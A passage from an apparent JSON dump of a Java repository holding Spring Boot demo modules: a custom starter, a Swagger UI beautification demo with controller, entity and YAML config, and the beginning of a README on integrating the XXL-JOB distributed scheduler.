  },
  {
    "path": "jun_springboot_plugin/springboot_starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_starter</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>自己写starter</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <!-- @ConfigurationProperties annotation processing (metadata for IDEs)\n                 生成spring-configuration-metadata.json类，需要引入此类-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_starter/src/main/java/com/xncoding/starter/Application.java",
    "content": "package com.xncoding.starter;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_starter/src/main/java/com/xncoding/starter/config/ExampleAutoConfigure.java",
    "content": "package com.xncoding.starter.config;\n\nimport com.xncoding.starter.service.ExampleService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * ExampleAutoConfigure\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/28\n */\n@Configuration\n@ConditionalOnClass(ExampleService.class)\n@EnableConfigurationProperties(ExampleServiceProperties.class)\npublic class ExampleAutoConfigure {\n\n    private final ExampleServiceProperties properties;\n\n    @Autowired\n    public ExampleAutoConfigure(ExampleServiceProperties properties) {\n        this.properties = properties;\n    }\n\n    @Bean\n    @ConditionalOnMissingBean\n    @ConditionalOnProperty(prefix = \"example.service\", value = \"enabled\",havingValue = \"true\")\n    ExampleService exampleService (){\n        return  new ExampleService(properties.getPrefix(),properties.getSuffix());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_starter/src/main/java/com/xncoding/starter/config/ExampleServiceProperties.java",
    "content": "package com.xncoding.starter.config;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * ExampleServiceProperties\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/28\n */\n@ConfigurationProperties(\"example.service\")\npublic class ExampleServiceProperties {\n    private String prefix;\n    private String suffix;\n\n    public String getPrefix() {\n        return prefix;\n    }\n\n    public void setPrefix(String prefix) {\n        this.prefix = prefix;\n    }\n\n    public String getSuffix() {\n        return suffix;\n    }\n\n    public void setSuffix(String suffix) {\n        this.suffix = suffix;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_starter/src/main/java/com/xncoding/starter/service/ExampleService.java",
    "content": "package com.xncoding.starter.service;\n\n/**\n * ExampleService\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/28\n */\npublic class ExampleService {\n\n    private String prefix;\n    private String suffix;\n\n    public ExampleService(String prefix, String suffix) {\n        this.prefix = prefix;\n        this.suffix = suffix;\n    }\n    public String wrap(String word) {\n        return prefix + word + suffix;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_starter/src/main/resources/META-INF/spring.factories",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\ncom.xncoding.starter.config.ExampleAutoConfigure"
  },
  {
    "path": "jun_springboot_plugin/springboot_swagger_beauty/README.md",
    "content": "# spring-boot-demo-swagger-beauty\n\n> 此 demo 主要演示如何集成第三方的 swagger 来替换原生的 swagger，美化文档样式。本 demo 使用 [swagger-spring-boot-starter](https://github.com/battcn/swagger-spring-boot) 集成。\n>\n> 启动项目，访问地址：http://localhost:8080/demo/swagger-ui.html#/\n>\n> 用户名：xkcoding\n>\n> 密码：123456\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-swagger-beauty</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-swagger-beauty</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <battcn.swagger.version>2.1.2-RELEASE</battcn.swagger.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.battcn</groupId>\n            <artifactId>swagger-spring-boot-starter</artifactId>\n            <version>${battcn.swagger.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-swagger-beauty</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## application.yml\n\n```yaml\nserver:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  swagger:\n    enabled: true\n    title: spring-boot-demo\n    description: 这是一个简单的 Swagger API 演示\n    version: 1.0.0-SNAPSHOT\n    contact:\n      name: Yangkai.Shen\n      email: 237497819@qq.com\n      url: http://xkcoding.com\n    # swagger扫描的基础包，默认：全扫描\n    # base-package:\n    # 需要处理的基础URL规则，默认：/**\n    # base-path:\n    # 需要排除的URL规则，默认：空\n    # exclude-path:\n    security:\n      # 是否启用 swagger 登录验证\n      filter-plugin: true\n      username: xkcoding\n      password: 123456\n    global-response-messages:\n      GET[0]:\n        code: 400\n        message: Bad Request，一般为请求参数不对\n      GET[1]:\n        code: 404\n        message: NOT FOUND，一般为请求路径不对\n      GET[2]:\n        code: 500\n        message: ERROR，一般为程序内部错误\n      POST[0]:\n        code: 400\n        message: Bad Request，一般为请求参数不对\n      POST[1]:\n        code: 404\n        message: NOT FOUND，一般为请求路径不对\n      POST[2]:\n        code: 500\n        message: ERROR，一般为程序内部错误\n```\n\n## ApiResponse.java\n\n```java\n/**\n * <p>\n * 通用API接口返回\n * </p>\n *\n * @package: com.jun.plugin.swagger.beauty.common\n * @description: 通用API接口返回\n * @author: yangkai.shen\n * @date: Created in 2018-11-28 14:18\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@ApiModel(value = \"通用PI接口返回\", description = \"Common Api Response\")\npublic class ApiResponse<T> implements Serializable {\n    private static final long serialVersionUID = -8987146499044811408L;\n    /**\n     * 通用返回状态\n     */\n    @ApiModelProperty(value = \"通用返回状态\", required = true)\n    private Integer code;\n    /**\n     * 通用返回信息\n     */\n    @ApiModelProperty(value = \"通用返回信息\", required = true)\n    private String message;\n    /**\n     * 通用返回数据\n     */\n    @ApiModelProperty(value = \"通用返回数据\", required = true)\n    private T data;\n}\n```\n\n## model.User.java\n\n```java\n/**\n * <p>\n * 用户实体\n * </p>\n *\n * @package: com.jun.plugin.swagger.beauty.entity\n * @description: 用户实体\n * @author: yangkai.shen\n * @date: Created in 2018-11-28 14:13\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\n@ApiModel(value = \"用户实体\", description = \"model.User Entity\")\npublic class model.User implements Serializable {\n    private static final long serialVersionUID = 5057954049311281252L;\n    /**\n     * 主键id\n     */\n    @ApiModelProperty(value = \"主键id\", required = true)\n    private Integer id;\n    /**\n     * 用户名\n     */\n    @ApiModelProperty(value = \"用户名\", required = true)\n    private String name;\n    /**\n     * 工作岗位\n     */\n    @ApiModelProperty(value = \"工作岗位\", required = true)\n    private String job;\n}\n```\n\n## UserController.java\n\n```java\n/**\n * <p>\n * model.User Controller\n * </p>\n *\n * @package: com.jun.plugin.swagger.beauty.controller\n * @description: model.User Controller\n * @author: yangkai.shen\n * @date: Created in 2018-11-28 14:25\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@RequestMapping(\"/user\")\n@Api(tags = \"1.0.0-SNAPSHOT\", description = \"用户管理\", value = \"用户管理\")\n@Slf4j\npublic class UserController {\n    @GetMapping\n    @ApiOperation(value = \"条件查询（DONE）\", notes = \"备注\")\n    @ApiImplicitParams({@ApiImplicitParam(name = \"username\", value = \"用户名\", dataType = DataType.STRING, paramType = ParamType.QUERY, defaultValue = \"xxx\")})\n    public ApiResponse<model.User> getByUserName(String username) {\n        log.info(\"多个参数用  @ApiImplicitParams\");\n        return ApiResponse.<model.User>builder().code(200).message(\"操作成功\").data(new model.User(1, username, \"JAVA\")).build();\n    }\n\n    @GetMapping(\"/{id}\")\n    @ApiOperation(value = \"主键查询（DONE）\", notes = \"备注\")\n    @ApiImplicitParams({@ApiImplicitParam(name = \"id\", value = \"用户编号\", dataType = DataType.INT, paramType = ParamType.PATH)})\n    public ApiResponse<model.User> get(@PathVariable Integer id) {\n        log.info(\"单个参数用  @ApiImplicitParam\");\n        return ApiResponse.<model.User>builder().code(200).message(\"操作成功\").data(new model.User(id, \"u1\", \"p1\")).build();\n    }\n\n    @DeleteMapping(\"/{id}\")\n    @ApiOperation(value = \"删除用户（DONE）\", notes = \"备注\")\n    @ApiImplicitParam(name = \"id\", value = \"用户编号\", dataType = DataType.INT, paramType = ParamType.PATH)\n    public void delete(@PathVariable Integer id) {\n        log.info(\"单个参数用 ApiImplicitParam\");\n    }\n\n    @PostMapping\n    @ApiOperation(value = \"添加用户（DONE）\")\n    public model.User post(@RequestBody model.User user) {\n        log.info(\"如果是 POST PUT 这种带 @RequestBody 的可以不用写 @ApiImplicitParam\");\n        return user;\n    }\n\n    @PostMapping(\"/multipar\")\n    @ApiOperation(value = \"添加用户（DONE）\")\n    public List<model.User> multipar(@RequestBody List<model.User> user) {\n        log.info(\"如果是 POST PUT 这种带 @RequestBody 的可以不用写 @ApiImplicitParam\");\n\n        return user;\n    }\n\n    @PostMapping(\"/array\")\n    @ApiOperation(value = \"添加用户（DONE）\")\n    public model.User[] array(@RequestBody model.User[] user) {\n        log.info(\"如果是 POST PUT 这种带 @RequestBody 的可以不用写 @ApiImplicitParam\");\n        return user;\n    }\n\n    @PutMapping(\"/{id}\")\n    @ApiOperation(value = \"修改用户（DONE）\")\n    public void put(@PathVariable Long id, @RequestBody model.User user) {\n        log.info(\"如果你不想写 @ApiImplicitParam 那么 swagger 也会使用默认的参数名作为描述信息 \");\n    }\n\n    @PostMapping(\"/{id}/file\")\n    @ApiOperation(value = \"文件上传（DONE）\")\n    public String file(@PathVariable Long id, @RequestParam(\"file\") MultipartFile file) {\n        log.info(file.getContentType());\n        log.info(file.getName());\n        log.info(file.getOriginalFilename());\n        return file.getOriginalFilename();\n    }\n}\n```\n\n## 参考\n\n- https://github.com/battcn/swagger-spring-boot/blob/master/README.md\n- 几款比较好看的swagger-ui，具体使用方法参见各个依赖的官方文档：\n  - [battcn](https://github.com/battcn) 的  [swagger-spring-boot-starter](https://github.com/battcn/swagger-spring-boot) 文档：https://github.com/battcn/swagger-spring-boot/blob/master/README.md\n  - [ swagger-ui-layer](https://gitee.com/caspar-chen/Swagger-UI-layer) 文档：https://gitee.com/caspar-chen/Swagger-UI-layer#%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8\n  - [swagger-bootstrap-ui](https://gitee.com/xiaoym/swagger-bootstrap-ui) 文档：https://gitee.com/xiaoym/swagger-bootstrap-ui#%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E\n  - [swagger-ui-themes](https://github.com/ostranme/swagger-ui-themes) 文档：https://github.com/ostranme/swagger-ui-themes#getting-started"
  },
  {
    "path": "jun_springboot_plugin/springboot_swagger_beauty/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_swagger_beauty</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n    <name>springboot_swagger_beauty</name>\n    <description>Demo project for Spring Boot</description>\n\n   <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <battcn.swagger.version>2.1.2-RELEASE</battcn.swagger.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.battcn</groupId>\n            <artifactId>swagger-spring-boot-starter</artifactId>\n            <version>${battcn.swagger.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_swagger_beauty</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_swagger_beauty/src/main/java/com/jun/plugin/swagger/beauty/SpringBootDemoSwaggerBeautyApplication.java",
    "content": "package com.jun.plugin.swagger.beauty;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.swagger.beauty\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2018-11-28 11:18\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoSwaggerBeautyApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoSwaggerBeautyApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_swagger_beauty/src/main/java/com/jun/plugin/swagger/beauty/common/ApiResponse.java",
    "content": "package com.jun.plugin.swagger.beauty.common;\n\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\n\n/**\n * <p>\n * 通用API接口返回\n * </p>\n *\n * @package: com.xkcoding.swagger.beauty.common\n * @description: 通用API接口返回\n * @author: yangkai.shen\n * @date: Created in 2018-11-28 14:18\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\n@ApiModel(value = \"通用PI接口返回\", description = \"Common Api Response\")\npublic class ApiResponse<T> implements Serializable {\n    private static final long serialVersionUID = -8987146499044811408L;\n    /**\n     * 通用返回状态\n     */\n    @ApiModelProperty(value = \"通用返回状态\", required = true)\n    private Integer code;\n    /**\n     * 通用返回信息\n     */\n    @ApiModelProperty(value = \"通用返回信息\", required = true)\n    private String message;\n    /**\n     * 通用返回数据\n     */\n    @ApiModelProperty(value = \"通用返回数据\", required = true)\n    private T data;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_swagger_beauty/src/main/java/com/jun/plugin/swagger/beauty/controller/UserController.java",
    "content": "package com.jun.plugin.swagger.beauty.controller;\n\nimport com.battcn.boot.swagger.model.DataType;\nimport com.battcn.boot.swagger.model.ParamType;\nimport com.jun.plugin.swagger.beauty.common.ApiResponse;\nimport com.jun.plugin.swagger.beauty.entity.User;\n\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.util.List;\n\n/**\n * <p>\n * User Controller\n * </p>\n *\n * @package: com.xkcoding.swagger.beauty.controller\n * @description: User Controller\n * @author: yangkai.shen\n * @date: Created in 2018-11-28 14:25\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@RequestMapping(\"/user\")\n@Api(tags = \"1.0.0-SNAPSHOT\", description = \"用户管理\", value = \"用户管理\")\n@Slf4j\npublic class UserController {\n    @GetMapping\n    @ApiOperation(value = \"条件查询（DONE）\", notes = \"备注\")\n    @ApiImplicitParams({@ApiImplicitParam(name = \"username\", value = \"用户名\", dataType = DataType.STRING, paramType = ParamType.QUERY, defaultValue = \"xxx\")})\n    public ApiResponse<User> getByUserName(String username) {\n        log.info(\"多个参数用  @ApiImplicitParams\");\n        return ApiResponse.<User>builder().code(200).message(\"操作成功\").data(new User(1, username, \"JAVA\")).build();\n    }\n\n    @GetMapping(\"/{id}\")\n    @ApiOperation(value = \"主键查询（DONE）\", notes = \"备注\")\n    @ApiImplicitParams({@ApiImplicitParam(name = \"id\", value = \"用户编号\", dataType = DataType.INT, paramType = ParamType.PATH)})\n    public ApiResponse<User> get(@PathVariable Integer id) {\n        log.info(\"单个参数用  @ApiImplicitParam\");\n        return ApiResponse.<User>builder().code(200).message(\"操作成功\").data(new User(id, \"u1\", \"p1\")).build();\n    }\n\n    @DeleteMapping(\"/{id}\")\n    @ApiOperation(value = \"删除用户（DONE）\", notes = \"备注\")\n    @ApiImplicitParam(name = \"id\", value = \"用户编号\", dataType = DataType.INT, paramType = ParamType.PATH)\n    public void delete(@PathVariable Integer id) {\n        log.info(\"单个参数用 ApiImplicitParam\");\n    }\n\n    @PostMapping\n    @ApiOperation(value = \"添加用户（DONE）\")\n    public User post(@RequestBody User user) {\n        log.info(\"如果是 POST PUT 这种带 @RequestBody 的可以不用写 @ApiImplicitParam\");\n        return user;\n    }\n\n    @PostMapping(\"/multipar\")\n    @ApiOperation(value = \"添加用户（DONE）\")\n    public List<User> multipar(@RequestBody List<User> user) {\n        log.info(\"如果是 POST PUT 这种带 @RequestBody 的可以不用写 @ApiImplicitParam\");\n\n        return user;\n    }\n\n    @PostMapping(\"/array\")\n    @ApiOperation(value = \"添加用户（DONE）\")\n    public User[] array(@RequestBody User[] user) {\n        log.info(\"如果是 POST PUT 这种带 @RequestBody 的可以不用写 @ApiImplicitParam\");\n        return user;\n    }\n\n    @PutMapping(\"/{id}\")\n    @ApiOperation(value = \"修改用户（DONE）\")\n    public void put(@PathVariable Long id, @RequestBody User user) {\n        log.info(\"如果你不想写 @ApiImplicitParam 那么 swagger 也会使用默认的参数名作为描述信息 \");\n    }\n\n    @PostMapping(\"/{id}/file\")\n    @ApiOperation(value = \"文件上传（DONE）\")\n    public String file(@PathVariable Long id, @RequestParam(\"file\") MultipartFile file) {\n        log.info(file.getContentType());\n        log.info(file.getName());\n        log.info(file.getOriginalFilename());\n        return file.getOriginalFilename();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_swagger_beauty/src/main/java/com/jun/plugin/swagger/beauty/entity/User.java",
    "content": "package com.jun.plugin.swagger.beauty.entity;\n\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\n\n/**\n * <p>\n * 用户实体\n * </p>\n *\n * @package: com.xkcoding.swagger.beauty.entity\n * @description: 用户实体\n * @author: yangkai.shen\n * @date: Created in 2018-11-28 14:13\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\n@ApiModel(value = \"用户实体\", description = \"User Entity\")\npublic class User implements Serializable {\n    private static final long serialVersionUID = 5057954049311281252L;\n    /**\n     * 主键id\n     */\n    @ApiModelProperty(value = \"主键id\", required = true)\n    private Integer id;\n    /**\n     * 用户名\n     */\n    @ApiModelProperty(value = \"用户名\", required = true)\n    private String name;\n    /**\n     * 工作岗位\n     */\n    @ApiModelProperty(value = \"工作岗位\", required = true)\n    private String job;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_swagger_beauty/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /\nspring:\n  swagger:\n    enabled: true\n    title: spring-boot-demo\n    base-package: com.jun.plugin.swagger.beauty.controller\n    description: 这是一个简单的 Swagger API 演示\n    version: 1.0.0-SNAPSHOT\n    contact:\n      name: Yangkai.Shen\n      email: 237497819@qq.com\n      url: http://xkcoding.com\n    # swagger扫描的基础包，默认：全扫描\n    # base-package:\n    # 需要处理的基础URL规则，默认：/**\n    # base-path:\n    # 需要排除的URL规则，默认：空\n    # exclude-path:\n    security:\n      # 是否启用 swagger 登录验证\n      filter-plugin: true\n      username: admin\n      password: 123456\n#    global-response-messages:\n#      GET[0]:\n#        code: 400\n#        message: Bad Request，一般为请求参数不对\n#      GET[1]:\n#        code: 404\n#        message: NOT FOUND，一般为请求路径不对\n#      GET[2]:\n#        code: 500\n#        message: ERROR，一般为程序内部错误\n#      POST[0]:\n#        code: 400\n#        message: Bad Request，一般为请求参数不对\n#      POST[1]:\n#        code: 404\n#        message: NOT FOUND，一般为请求路径不对\n#      POST[2]:\n#        code: 500\n#        message: ERROR，一般为程序内部错误\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_swagger_beauty/src/test/java/com/jun/plugin/swagger/beauty/SpringBootDemoSwaggerBeautyApplicationTests.java",
    "content": "package com.jun.plugin.swagger.beauty;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoSwaggerBeautyApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_task_xxl_job/README.md",
    "content": "# spring-boot-demo-task-xxl-job\n\n> 此 demo 主要演示了 Spring Boot 如何集成 XXL-JOB 实现分布式定时任务，并提供绕过 `xxl-job-admin` 对定时任务的管理的方法，包括定时任务列表，触发器列表，新增定时任务，删除定时任务，停止定时任务，启动定时任务，修改定时任务，手动触发定时任务。\n\n## 1. xxl-job-admin调度中心\n\n> https://github.com/xuxueli/xxl-job.git\n\n克隆 调度中心代码\n\n```bash\n$ git clone https://github.com/xuxueli/xxl-job.git\n```\n\n### 1.1. 创建调度中心的表结构\n\n数据库脚本地址：`/xxl-job/doc/db/tables_xxl_job.sql`\n\n### 1.2. 修改 application.properties\n\n```properties\nserver.port=18080\n\nspring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?Unicode=true&characterEncoding=UTF-8&useSSL=false\nspring.datasource.username=root\nspring.datasource.password=root\n```\n\n### 1.3. 修改日志配置文件 logback.xml\n\n```xml\n<property name=\"log.path\" value=\"logs/xxl-job/xxl-job-admin.log\"/>\n```\n\n### 1.4. 启动调度中心\n\nRun `XxlJobAdminApplication`\n\n默认用户名密码：admin/admin\n\n![image-20190808105554414](https://static.xkcoding.com/spring-boot-demo/2019-08-08-025555.png)\n\n![image-20190808105628852](https://static.xkcoding.com/spring-boot-demo/2019-08-08-025629.png)\n\n## 2. 编写执行器项目\n\n### 2.1. pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>spring-boot-demo-task-xxl-job</artifactId>\n  <version>1.0.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n  <name>spring-boot-demo-task-xxl-job</name>\n  <description>Demo project for Spring Boot</description>\n\n  <parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>spring-boot-demo</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n  </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n    <xxl-job.version>2.1.0</xxl-job.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-configuration-processor</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <!-- xxl-job-core -->\n    <dependency>\n      <groupId>com.xuxueli</groupId>\n      <artifactId>xxl-job-core</artifactId>\n      <version>${xxl-job.version}</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>cn.hutool</groupId>\n      <artifactId>hutool-all</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>spring-boot-demo-task-xxl-job</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n```\n\n### 2.2. 编写 配置类 XxlJobProps.java\n\n```java\n/**\n * <p>\n * xxl-job 配置\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019-08-07 10:25\n */\n@Data\n@ConfigurationProperties(prefix = \"xxl.job\")\npublic class XxlJobProps {\n    /**\n     * 调度中心配置\n     */\n    private XxlJobAdminProps admin;\n\n    /**\n     * 执行器配置\n     */\n    private XxlJobExecutorProps executor;\n\n    /**\n     * 与调度中心交互的accessToken\n     */\n    private String accessToken;\n\n    @Data\n    public static class XxlJobAdminProps {\n        /**\n         * 调度中心地址\n         */\n        private String address;\n    }\n\n    @Data\n    public static class XxlJobExecutorProps {\n        /**\n         * 执行器名称\n         */\n        private String appName;\n\n        /**\n         